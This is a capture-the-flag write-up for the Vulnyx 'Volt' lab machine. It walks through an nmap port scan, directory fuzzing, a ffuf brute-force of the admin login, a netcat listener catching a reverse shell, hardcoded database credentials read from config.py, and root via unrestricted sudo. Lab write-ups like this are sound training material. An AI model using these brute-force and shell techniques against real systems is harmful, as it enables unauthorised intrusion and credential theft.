Vulnyx Volt Writeup
A comprehensive write-up of the Volt machine from Vulnyx, covering port scanning, web admin login brute-forcing, credential discovery in application config files, and full root escalation via sudo.
The Volt machine on Vulnyx is an engaging CTF challenge involving web application enumeration, administrative authentication brute-forcing, discovery of sensitive credentials hardcoded in application configuration files, and straightforward privilege escalation via sudo privileges.
Reconnaissance — Port Scan
We begin the engagement by performing a SYN scan with nmap across all 65,535 TCP ports to map out the target’s exposed attack surface.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(suraxddq㉿kali)-[~]
└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.25
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-03 19:37 +0200
Initiating ARP Ping Scan at 19:37
Scanning 192.168.0.25 [1 port]
Completed ARP Ping Scan at 19:37, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:37
Scanning 192.168.0.25 [65535 ports]
Discovered open port 80/tcp on 192.168.0.25
Discovered open port 22/tcp on 192.168.0.25
Completed SYN Stealth Scan at 19:37, 0.52s elapsed (65535 total ports)
Nmap scan report for 192.168.0.25
Host is up, received arp-response (0.00017s latency).
Scanned at 2026-08-03 19:37:07 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:13:25:B8 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Web — Exploring the Application
Visiting the target IP on port 80 reveals the web application’s main interface.
Web — Directory Fuzzing
We execute dirsearch to discover hidden directories and endpoints on the web server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(suraxddq㉿kali)-[~]
└─$ dirsearch -u http://192.168.0.25
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/suraxddq/reports/http_192.168.0.25/_26-08-03_19-46-17.txt
Target: http://192.168.0.25/
[19:46:17] Starting:
[19:46:20] 200 - 3KB - /About
[19:46:20] 200 - 3KB - /about
[19:46:20] 200 - 3KB - /accessories
[19:46:20] 200 - 3KB - /account
[19:46:20] 200 - 3KB - /account/
[19:46:21] 200 - 3KB - /admin
[19:46:24] 200 - 111B - /api
[19:46:24] 200 - 111B - /api/
[19:46:24] 200 - 3KB - /audio
[19:46:25] 200 - 3KB - /blog
[19:46:25] 200 - 3KB - /blog/
[19:46:25] 200 - 3KB - /careers
[19:46:25] 200 - 4KB - /cart
[19:46:26] 200 - 3KB - /checkout
[19:46:27] 200 - 3KB - /contact
[19:46:29] 200 - 3KB - /FAQ
[19:46:29] 200 - 3KB - /faq
[19:46:33] 200 - 3KB - /login
[19:46:33] 200 - 3KB - /login/
[19:46:35] 200 - 3KB - /orders
[19:46:38] 200 - 3KB - /privacy
[19:46:38] 200 - 6KB - /products
[19:46:39] 200 - 3KB - /register
[19:46:40] 200 - 6KB - /search
[19:46:40] 200 - 6KB - /Search
[19:46:40] 403 - 3KB - /secret
[19:46:40] 403 - 3KB - /Secret/
[19:46:40] 403 - 3KB - /secret/
[19:46:42] 404 - 548B - /static/dump.sql
[19:46:42] 404 - 548B - /static/api/swagger.yaml
[19:46:42] 404 - 548B - /static/api/swagger.json
[19:46:42] 200 - 3KB - /support
[19:46:42] 200 - 3KB - /support/
[19:46:43] 200 - 3KB - /terms
[19:46:47] 200 - 3KB - /wishlist
Web — Admin Portal Brute Force
Navigating to the /admin login page presents an authentication portal.
We perform a brute-force attack on the admin login endpoint using ffuf.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(suraxddq㉿kali)-[~]
└─$ ffuf -u "http://192.168.0.25/admin" -d "username=admin&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w ~/CTF/techyou.txt -r -fs 3326
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://192.168.0.25/admin
:: Wordlist : FUZZ: /home/suraxddq/CTF/techyou.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=admin&password=FUZZ
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 3326
________________________________________________
chocolate3 [Status: 200, Size: 3878, Words: 297, Lines: 63, Duration: 51ms]
:: Progress: [20000/20000] :: Job [1/1] :: 3125 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
Exploitation — Reverse Shell
With the valid admin credentials, we gain access to the administration section.
From the dashboard, we trigger remote command execution.
We set up a Netcat listener and catch the incoming reverse shell connection as www-data.
1
2
3
4
5
6
┌──(suraxddq㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
id
connect to [192.168.0.11] from (UNKNOWN) [192.168.0.25] 44200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post-exploitation — Credential Extraction
Inspecting the application files under /opt/volt, we find sensitive hardcoded database credentials inside config.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@volt:/opt/volt$ cd /opt/
www-data@volt:/opt$ ls
volt
www-data@volt:/opt/volt$ cd volt/
www-data@volt:/opt/volt$ ls
app.py config.py __pycache__ static templates venv
www-data@volt:/opt/volt$ cat config.py
# Volt store - database configuration
# TODO: move secrets to environment variables before production rollout
DB_HOST = "127.0.0.1"
DB_PORT = 3306
DB_NAME = "volt_store"
DB_USER = "batusai"
DB_PASS = "V0lt_db_S3cr3t_2026"
Lateral Movement — User Batusai
Using the password discovered in config.py, we switch user to batusai.
1
2
3
www-data@volt:/opt/volt$ su batusai
Password:
batusai@volt:/opt/volt$
Privilege Escalation — Root Access
We check sudo permissions for user batusai using sudo -l.
1
2
3
4
5
6
7
8
batusai@volt:/opt/volt$ sudo -l
Matching Defaults entries for batusai on volt:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User batusai may run the following commands on volt:
(ALL : ALL) ALL
With full sudo permissions ((ALL : ALL) ALL), we switch to root and read both flags.
1
2
3
root@volt:/opt/volt# cat /root/root.txt /home/batusai/user.txt
c21c4e2d4
a0bcc7084